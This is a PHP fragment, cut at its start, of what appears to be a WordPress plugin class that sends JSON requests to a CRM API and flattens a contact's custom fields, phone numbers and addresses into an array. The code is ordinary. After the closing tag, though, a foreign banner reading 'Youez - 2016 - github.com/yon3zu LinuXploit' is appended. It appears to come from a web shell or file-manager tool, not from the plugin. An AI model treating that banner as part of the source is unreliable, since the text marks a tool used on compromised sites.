}else{
$head['Content-Type']='application/json';     
} 

if(is_array($body)&& count($body)>0 &&  $method !='get'){ 
$body=json_encode($body);
$head['Accept']='application/json'; 
} 

$args = array(
  'body' => $body,
  'headers'=> $head,
  'method' => strtoupper($method), // GET, POST, PUT, DELETE, etc.
  //'sslverify' => false,
  'timeout' => 30,
  );
  
  $response = wp_remote_request($path, $args);

  if(is_wp_error($response)) { 
  $body =array('error_message'=>$response->get_error_message());
  return $body;
  }
$body=json_decode($response['body'],true);
return $body;
}
public function get_entry($module,$id){

$search_response=$this->post_crm_arr('contacts/'.$id.'?include=custom_fields,phone_numbers,street_addresses','get');
$arr=array();
if(!empty($search_response)){
    foreach($search_response as $k=>$v){
if($k == 'email_address'){
    $arr['email_address']=$v['email_address']['address'];
}else if(is_array($v) && isset($v[0])){
    foreach($v[0] as $kk=>$vv){
        if(is_array($vv) && isset($vv['custom_field_id'])){
         $kk=$vv['custom_field_id']; $vv=$vv['value'];   
        }
        $arr[$kk]=$vv;
    }
}else{
 $arr[$k]=$v;    
} }
}
return $arr;     
}
   
}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit